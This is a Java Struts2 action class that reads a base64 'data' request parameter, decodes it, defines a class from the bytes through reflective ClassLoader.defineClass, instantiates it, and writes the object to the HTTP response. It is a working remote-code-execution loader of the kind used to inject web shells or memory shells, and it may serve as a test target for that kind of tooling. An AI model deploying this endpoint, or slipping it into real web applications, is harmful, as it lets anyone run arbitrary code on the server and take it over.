import com.opensymphony.xwork2.ActionSupport; import org.apache.struts2.ServletActionContext; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; /** * @author ReaJason * @since 2024/12/24 */ public class Base64ClassLoaderAction extends ActionSupport { private String data; static byte[] decodeBase64(String base64Str) throws Exception { try { Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } catch (Exception var4) { Class decoderClass = Class.forName("java.util.Base64"); Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } } public Class reflectionDefineClass(byte[] classBytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defMethod.setAccessible(true); return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); } public String execute() throws Exception { try { byte[] bytes = decodeBase64(data); Object obj = reflectionDefineClass(bytes).newInstance(); ServletActionContext.getResponse().getWriter().print(obj); return null; } catch (Exception e) { throw new RuntimeException(e); } } public String getData() { return data; } public void setData(String data) { this.data = data; } }